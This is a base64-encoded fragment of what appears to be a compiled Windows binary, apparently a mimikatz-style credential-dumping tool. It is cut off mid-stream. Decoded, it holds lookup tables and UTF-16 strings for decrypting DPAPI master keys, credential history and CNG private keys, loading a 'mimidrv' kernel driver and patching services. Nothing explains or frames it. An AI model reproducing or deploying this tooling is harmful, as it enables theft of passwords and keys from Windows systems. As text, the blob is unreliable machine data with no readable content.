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AGUAcgBLAGUAeQAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABwAGIAUwBlAGMAcgBlAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAHAAYgBBAGMAYwBlAHMAcwBjAGgAZQBjAGsAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAUwAqACoACgAAAAAAAAAAAAAAAAAlACoAcwAgACAAcwB6AEcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAewAlAC4AMwA2AHMAfQAKAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBCAGEAYwBrAHUAcABLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEMAcgBlAGQASABpAHMAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARABvAG0AYQBpAG4ASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAWwBtAGEAcwB0AGUAcgBrAGUAeQBdAAoAAAAlACoAcwBbAGIAYQBjAGsAdQBwAGsAZQB5AF0ACgAAACUAKgBzAFsAYwByAGUAZABoAGkAcwB0AF0ACgAAAAAAJQAqAHMAWwBkAG8AbQBhAGkAbgBrAGUAeQBdAAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAGQAdwBOAGUAeAB0AEwAZQBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACAARQBOAFQAUgBZACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFQAeQBwAGUAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAcwBpAGQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAAAAAJQAqAHMAIAAgAHMAaABhADEATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAbQBkADQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAUwBpAGQAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAAUwBlAGMAcgBlAHQAIAAgACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAJQBzACAAOwAgAAAAc3lzdGVtAAAAAAAAAAAAAAAAAAAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAEIAYQBzAGUANgA0ACAAbwBmACAAZgBpAGwAZQAgADoAIAAlAHMACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAACUAYwAAAAAAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsAF8AaABhAG4AZABsAGUAIAA7ACAARABlAHYAaQBjAGUASQBvAEMAbwBuAHQAcgBvAGwAIAAoADAAeAAlADAAOAB4ACkAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFwAXAAuAFwAbQBpAG0AaQBkAHIAdgAAACUAKgBzACoAKgBLAEUAWQAgACgAYwBhAHAAaQApACoAKgAKAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHUAYgBsAGkAYwBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAcABvAHIAdABGAGwAYQBnAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAcABVAG4AaQBxAHUAZQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAUwAKAAAAJQAqAHMAIAAgAHAASABhAHMAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAIAAgADoACgAAAAAAJQAqAHMAIAAgAHAARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAAgACAAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAAAAAACUAKgBzACoAKgBLAEUAWQAgACgAYwBuAGcAKQAqACoACgAAAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBOAGEAbQBlAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAB1AGIAbABpAGMAUAByAG8AcABlAHIAdABpAGUAcwBMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB1AG4AawBBAHIAcgBhAHkAWwAxADYAXQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAuACoAcwAKAAAAAAAAACUAKgBzACAAIABwAFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAKAAAAAAAAACUAKgBzACoAKgBLAEUAWQAgAEMATgBHACAAUABSAE8AUABFAFIAVABZACoAKgAKAAAAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAdAByAHUAYwB0AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AE4AYQBtAGUATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABwAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgADoAIAAAACUAdQAgAGYAaQBlAGwAZAAoAHMAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAG4AZQB0AF8AZwBlAHQARABDACAAOwAgAEQAcwBHAGUAdABEAGMATgBhAG0AZQA6ACAAJQB1AAoAAAAAAAAAS1ByaW50ZgoAAAAAAAAAAEV4cGFuZGluZy4uLgoAAABhAAAAAAAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkA